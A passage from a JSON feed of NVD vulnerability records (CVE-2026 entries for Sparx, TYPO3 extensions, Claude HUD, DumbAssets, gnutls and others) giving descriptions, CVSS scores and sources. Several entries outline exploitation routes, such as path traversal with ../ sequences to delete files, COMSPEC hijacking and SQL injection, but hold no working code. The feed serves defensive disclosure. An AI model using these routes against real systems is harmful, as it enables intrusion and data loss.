fixes.","publishedAt":"2026-05-19T14:16:42.630Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"sparxsystems","product":"pro cloud server","stacks":["Sparxsystems","pro cloud server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42099","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42099","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42099","type":"primary","publishedAt":"2026-05-19T14:16:42.630Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42098","cveId":"CVE-2026-42098","aliases":[],"kind":"vulnerability","title":"Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role.","summary":"Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role. An authenticated attacker can modify the Enterprise Architect  client behavior (e.g. using a debugger) and log in as any other user or administrator - then it is possible to do every possible change to the repository.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 17.1 and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.","detail":"Sparx Enterprise Architect software has a security feature that limits user's actions to those specified in the role. An authenticated attacker can modify the Enterprise Architect  client behavior (e.g. using a debugger) and log in as any other user or administrator - then it is possible to do every possible change to the repository.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 17.1 and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T14:16:42.417Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42098","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42098","type":"primary","publishedAt":"2026-05-19T14:16:42.417Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42096","cveId":"CVE-2026-42096","aliases":[],"kind":"vulnerability","title":"Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database.","summary":"Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. Due to lack of permission checks, any low privileged user can run arbitrary SQL queries within database user context.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.","detail":"Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. Due to lack of permission checks, any low privileged user can run arbitrary SQL queries within database user context.\n\nThe vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below were tested and confirmed as vulnerable, other versions were not tested and might also be vulnerable.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T14:16:42.047Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"sparxsystems","product":"pro cloud server","stacks":["Sparxsystems","pro cloud server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42096","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42096","type":"primary","publishedAt":"2026-05-19T14:16:42.047Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8827","cveId":"CVE-2026-8827","aliases":[],"kind":"vulnerability","title":"The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection.","summary":"The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection. The method is not invoked anywhere within the extension itself and therefore poses no direct risk in a default installation. However, custom extensions that call this method with untrusted input would expose the site to SQL injection.","detail":"The AddressRepository::getSqlQuery() method constructs a database query without properly sanitizing user input, leading to SQL Injection. The method is not invoked anywhere within the extension itself and therefore poses no direct risk in a default installation. However, custom extensions that call this method with untrusted input would expose the site to SQL injection.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T10:16:25.887Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8827","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8827","type":"primary","publishedAt":"2026-05-19T10:16:25.887Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8727","cveId":"CVE-2026-8727","aliases":[],"kind":"vulnerability","title":"The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize().","summary":"The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize(). An attacker controlling a crawled endpoint can inject arbitrary serialized PHP objects, leading to Remote Code Execution on the TYPO3 server. Exploitation requires administrative privileges to configure a crawler-enabled page and trigger the crawl via a Scheduler task.","detail":"The Crawler extension passes the X-T3Crawler-Meta response header from crawled URLs directly to PHP's unserialize(). An attacker controlling a crawled endpoint can inject arbitrary serialized PHP objects, leading to Remote Code Execution on the TYPO3 server. Exploitation requires administrative privileges to configure a crawler-enabled page and trigger the crawl via a Scheduler task.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T10:16:25.747Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8727","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8727","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8727","type":"primary","publishedAt":"2026-05-19T10:16:25.747Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8726","cveId":"CVE-2026-8726","aliases":[],"kind":"vulnerability","title":"The extension fails to properly sanitize user input before using it in a database query.","summary":"The extension fails to properly sanitize user input before using it in a database query. As a result, an unauthenticated attacker can inject arbitrary SQL through a URL parameter on pages using the \"Date Menu of news articles\" plugin. Exploitation requires the \"Date Menu of news articles\" plugin to be in use and the TypoScript/Plugin setting disableOverrideDemand not to be enabled.","detail":"The extension fails to properly sanitize user input before using it in a database query. As a result, an unauthenticated attacker can inject arbitrary SQL through a URL parameter on pages using the \"Date Menu of news articles\" plugin. Exploitation requires the \"Date Menu of news articles\" plugin to be in use and the TypoScript/Plugin setting disableOverrideDemand not to be enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-19T10:16:25.603Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8726","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8726","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8726","type":"primary","publishedAt":"2026-05-19T10:16:25.603Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47092","cveId":"CVE-2026-47092","aliases":[],"kind":"vulnerability","title":"Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the...","summary":"Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems.","detail":"Claude HUD through 0.0.12, patched in commit 234d9aa, contains a command injection vulnerability that allows local attackers to execute arbitrary commands by manipulating the COMSPEC environment variable. Attackers can set COMSPEC to an arbitrary binary path before claude-hud performs its version check, causing execFile() to execute the attacker-supplied executable with cmd.exe arguments, resulting in arbitrary code execution on Windows systems.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T20:16:40.040Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"jarrodwatts","product":"claude hud","stacks":["Jarrodwatts","claude hud"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47092","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47092","type":"primary","publishedAt":"2026-05-18T20:16:40.040Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45230","cveId":"CVE-2026-45230","aliases":[],"kind":"vulnerability","title":"DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to...","summary":"DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to delete arbitrary files by supplying ../ sequences that bypass directory boundary validation. Attackers can exploit the optional and disabled-by-default authentication control to traverse outside the intended application directory and delete critical files such as server.js or package.json, causing complete denial of service.","detail":"DumbAssets through 1.0.11 contains a path traversal vulnerability in the POST /api/delete-file endpoint and filesToDelete array parameters that allows unauthenticated attackers to delete arbitrary files by supplying ../ sequences that bypass directory boundary validation. Attackers can exploit the optional and disabled-by-default authentication control to traverse outside the intended application directory and delete critical files such as server.js or package.json, causing complete denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T18:17:37.070Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45230","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45230","type":"primary","publishedAt":"2026-05-18T18:17:37.070Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42009","cveId":"CVE-2026-42009","aliases":[],"kind":"vulnerability","title":"A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic.","summary":"A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.","detail":"A flaw was found in gnutls. A remote attacker could exploit an issue in the Datagram Transport Layer Security (DTLS) packet reordering logic. The comparator function, responsible for ordering DTLS packets by sequence numbers, did not correctly handle packets with duplicate sequence numbers. This could lead to unstable packet ordering or undefined behavior, resulting in a denial of service.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T13:16:32.707Z","updatedAt":"2026-10-26T18:17:46.657Z","regions":["Global"],"vendor":"gnu","product":"gnutls","stacks":["GNU","gnutls"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42009","asOf":"2026-10-26T18:17:46.657Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42009","type":"primary","publishedAt":"2026-05-18T13:16:32.707Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0983","cveId":"CVE-2026-0983","aliases":[],"kind":"vulnerability","title":"Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to...","summary":"Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to crash","detail":"Denial-of-service condition in M-Files Server versions before 26.5.16015.0, before 26.2 LTS, and before 25.8 LTS SR3 allows an authenticated user to cause the MFserver process to crash\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T12:16:16.230Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0983","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0983","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0983","type":"primary","publishedAt":"2026-05-18T12:16:16.230Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7498","cveId":"CVE-2026-7498","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd.","summary":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS.\n\nThis issue affects DernekWeb: through 30122025.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Basamak Information Technology Consulting and Organization Trade Ltd. Co. DernekWeb allows Stored XSS.\n\nThis issue affects DernekWeb: through 30122025.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T09:16:24.460Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7498","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7498","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7498","type":"primary","publishedAt":"2026-05-18T09:16:24.460Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-6902","cveId":"CVE-2026-6902","aliases":[],"kind":"vulnerability","title":"A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.","summary":"A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.","detail":"A Remote Code Execution vulnerability in P4 (Helix Core) Server's Command-Line Client, prior to the 2025.2 Patch 2, has been fixed to address potential security risks.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-18T09:16:24.283Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-6902","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-6902","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-6902","type":"primary","publishedAt":"2026-05-18T09:16:24.283Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8788","cveId":"CVE-2026-8788","aliases":[],"kind":"vulnerability","title":"Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.","summary":"Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.\n\nThe values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nNote that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.","detail":"Net::Statsd::Lite versions through 0.10.0 for Perl allowed metric injections.\n\nThe values from the set_add method were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.\n\nNote that version 0.9.0 fixed a similar issue CVE-2026-46719 for metric names.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 